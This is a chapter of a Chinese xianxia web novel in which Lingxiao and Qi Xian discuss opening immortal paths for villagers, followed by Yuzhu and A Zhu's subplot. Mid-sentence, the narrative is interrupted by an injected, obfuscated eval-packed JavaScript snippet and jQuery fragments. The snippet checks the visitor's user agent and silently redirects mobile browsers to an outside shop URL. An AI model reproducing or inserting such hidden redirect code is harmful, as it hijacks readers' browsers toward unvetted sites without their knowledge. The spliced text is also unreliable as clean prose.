“不客气。”身边人毫不客气地接下了这个感谢,并大言不惭道,“以后要谢我的时候可多,正巧现在练习下。”
……
见鬼,是被玉竹感染了吗?为何现在的他,听到凌霄的话,也有些控制不住脾气。
“凌霄,以后,能别让我做这么多事了吗?”这次,见凌霄爬起来要走,换祁羡留人了。
“你想都别想。”凌霄半蹲在莲台之上,头也没回。
“好吧。”
“才让你干了多少活啊?心里有点数好吧?救命之恩,再造之恩,重塑之恩,这多大的恩情啊你就不乐意了,给我干活干到我满意为止!”
看着旁边的人,祁羡很想说,这恩情是很重,可这话,不该由她这个救命恩人说出口啊。
由救命恩人本人说出来,就没这么有分量了啊!
“你会有满意那一天吗?”祁羡咽下心中的话,轻声发问,“我是说,愿意放我走那天。”
“呃……会有的吧。”身边,那人将头转到一边,让他连侧脸都看不见了。
祁羡很想学她一样凑到她面前,但思索再三,还是做不出来这种事情,于是他拉住了那人的衣角,摆明了自己的态度。
不回答,不让走。
凌霄认命地坐了回来,“会有那一天的,但不管那天啥时候到,总之,在此之前,你别想跑!”
祁羡抿了抿嘴唇,压抑住内心隐秘的喜悦,不过,在高兴之余,他还是没忘记确认一下,“你这么说,不是为了逗我开心吧?”
身边人摸不着头脑的模样,将她的内心想法展露得一览无余。
祁羡小小地勾了勾嘴角,才问道,“凌霄,你为人开路的条件,是什么呢?”
“看见人身上的光了吗?”凌霄问道。
从前几日建造登仙梯开始,凌霄便早早就和大家共享了能共享的一切,灵力、视野、技能。
但共享,也仅限于这几日,所以大家并不知道之前是个什么样子。
至于她的记忆,她自己都记不全,自然是没有共享的。
凌霄有些感慨地看向底下那些身上散发出不同颜色微光的人们,“之前,大家身上,是看不到光的。”
有是有,却难看见。
就像朝夕相处的玉竹和秦老医生,现在他俩已经算个行走的绿毛怪了,可之前,那光芒微弱,暗淡得不如将熄的烛火。
“身上有光之人,才有资格被开路?”祁羡问道。
“不是,我可以为任何人开路。”凌霄摇了摇头,“但只有身上有光的人,才有可能挺下来。”
说着凌霄有些嫌弃地瞅了过来,“我说,你刚不是看见了吗?失败之人有可能会魂飞魄散啊!你老乡宋守义的惨样你是没注意到是咋地?要不是我给他聚了魂,他可能当场就噶了。”
祁羡丝毫不在意凌霄的嫌弃,只是垂眸思考了一下,才叹道,“原来,那就是魂飞魄散。”
怪不得,宋守义,没有走向他。
刚才,宋守义身体急剧衰败,很快化作了一捧齑粉,而在齑粉之上,是一个灰白的、如山谷魂灵的漂浮物。
看到那个人形漂浮物时,祁羡没能控制住自己的情绪,上前一步,试图强行将漂浮物纳入怀中。
但懵懂的灰白漂浮物,并没能飘向莲台之上迎接他的祁羡,而是被一道金光,强行塞回了不知何时躺在一旁的躯体之中。
凌霄一直以为他不知道。
不知道他已经知道了自己承载着隆中遗民的魂灵。
不知道他已经知道自己的一举一动,都会带着隆中遗民前行。
凌霄也不知道,他一直试图找出大家,给大家一个交代。
但这些,在凌霄强行拉回宋守义之时,已经没有探究的必要了。
“凌霄,我什么时候,才能够把一个魂飞魄散的人,给拉回来呢?”祁羡再次叹了一口气。
“这不是你现在该想的事!”凌霄撇了撇嘴,又开始一脸嫌弃,指着祁羡恨恨骂了一声,“你个连极品灵石都吸收不了的废物!”
提到灵石,凌霄又怒了。
“给我赶紧支愣起来啊混蛋!你知道上中下品灵石有多珍贵吗?我每种只有一组啊!吸完了就没了!赶紧给我适应极品灵石啊混蛋!”
当初,本着给别人用就上好东西的原则,凌霄直接上了极品灵石,没曾想,独自一人时,这家伙压根吸收不了得劲的。
无奈,凌霄标准一降再降,最后连留下品灵石,都帮他过滤一遍。
若不是金色灵石谁都能吸收,混熟了后,凌霄是真有可能,为了给这小子弄灵石,而提前去仙界。
还好,这小子资质还算不赖。
闻言,储物袋中只有中下品灵石的祁羡立刻意识到,她有很多极品灵石。
“怎么不多备点低级的?”祁羡问道。
他其实想问,为什么不给他试试高级的,凌霄虽为明说,可从她的话里,祁羡就知道,她肯定早就给他试过了。
凌霄一脸生无可恋,“怎么,你往湖里灌水用杯子啊?”
噗——
祁羡一时没忍住,笑出了声。
不得不说,凌霄做比喻,还是挺照顾被听之人的,她的身上,也总是有一种魔力,一种让人,忍不住对她放下戒备、敞开心扉的魔力。
就像,他明知她可能会生气,却一点都不害怕了。
果然,她生气了。
不过,她生气也没干些别的,只是气呼呼地抱起了手,然后嫌弃地望着他。
“凌霄,你给我们开仙路的资格,是为了让我们寻找被你遗漏之人,还是,为了给我们一个机会。”祁羡收敛了笑容,可嘴角,还是微微上扬着。
前者,是目的,后者,是情分。
闻言,不止凌霄,就连旁边莲台正在两两交谈的四位老乡也将目光投了过来,这会儿,大家也都闲了下来。
凌霄扫了一眼祁羡,才慢慢和每一个老乡对视,最终,将目光定格在了一直有些犹豫此刻正被刘团长开导的张小花身上。
“当然是给大家开的后门。”凌霄认真道,“这只有一次的机会,可只在这次上面生效嗷,以后,就得大家自己修炼到能开仙路的境界,然后自己去为别人开仙路了。”
说着说着,发现自己说偏了的凌霄又更加直白地道,“我是说,这一次,大家想给谁开仙路都可以,我会保那人不死的。”
见张小花神情松动,凌霄又补充道,“不必把机会浪费给那些很厉害的人,只要光足够亮,我这边直接就开了。”
闻言,张小花的目光不由得投向了平台上一个形单影只,却不停穿梭于人群之中,正在安慰着不同百姓的小女孩。
就在张小花目光跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928977|207169||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
随着小女孩移动之时,小女孩和周围人的目光,却被一条突如其来的仙路,给牢牢锁住了。
又一个开仙路之人出现了。
玉竹。
和去往授仙台的路不同,这条路,是从登阶成功者的区域铺过来的。
而道路终点,是段玉珠。
段玉珠疑惑地看向仙路,试探性地往前走了两步,可那路却往回缩了缩,显然并不是为她准备的。
远处,玉竹不可置信地望着这一切。
凌霄仍旧没有理他。
既没有骂他,也没有和他说话。
凌霄只是,无视了他。
可现在,仙路,出现在了他的眼前,还是在他骂过凌霄过后。
玉竹放下整理好的凌霄手稿。
虽然师傅没有收,可百姓们,还是递了过来,只说,等城中来人了,由城中分配。
玉竹从来没想过,他还有机会,踏上仙途。
更没想到,路途的终点,会是阿珠。
灵气散尽,阿珠正在路的尽头,遥遥望着他。
玉竹呆立原地,不知要不要上去。
但阿珠却走向了他,一直,来到了他的面前。
蓝金之路,此刻,被压缩到了极致,仿佛,只要他踏出这一步,便能一步登仙。
“笨蛋。”阿珠看出了他的犹豫,“我会在尽头等你。”
她知道他不想依靠和仙人的关系,而取得这个机会,于是,她一边麻烦身边人把他带走,一边去往了授仙台。
前人的仙路,不管在哪儿开启,最终距离都才约莫两百不,可这一次,她将路途,给他拉长了一倍。
凌霄在莲台之上看着小姑娘,一时间也有些感慨。
其实,并不相识的日子里,凌霄又好几次在街上,碰到了这个衣袖下的右臂有着扎实肌肉的少女。
凌霄等了好些时候,都没见少女再次靠近她,干脆再又一次相遇时找上了少女。
少女忐忑的模样固然可爱,但她凌霄也不是个魔鬼,看几次就够了。
“我什么都不知道,也不会告诉玉竹。”凌霄道,“你们小孩子之间的事情,你们自己解决。”
每次见面都是一副惴惴不安模样的阿珠闻言,终于勉强挤出一个笑容,“谢谢凌霄姐姐,姐姐买的点心和礼物,我都很喜欢。”
“不客气,东西是我买的,但包装上的画,不是我添上去的。”生气归生气,凌霄还不至于和小孩子抢功。
“嗯,我知道。”阿珠轻声道,“也就只有他,能画得这么丑了。”
玉竹从小习字,也跟着老中医画过不少辨识草药的书册,在绘画方面,不说有高的艺术造诣,但极为写实是不可否认的。
“是挺丑的。”凌霄赞同道。
阿珠低下头,手指不停地扭住衣角,半响,才鼓起勇气抬起了头,“姐姐,我听说你和玉竹闹矛盾的事情了。”
“嗯。”见阿珠明显有话要说的样子,凌霄也没有打断只应了一声,表示自己在听。
说起来,也是在那时,凌霄再次确定了自己的软肋在哪儿。
她受不了小姑娘用亮晶晶的眼睛盯着自己,也受不了小姑娘可怜巴巴地望着自己,被小姑娘这么看着,真的是想把一切都给小姑娘。
如果此刻阿珠求她,她是会看在阿珠面子上早点原谅玉竹的。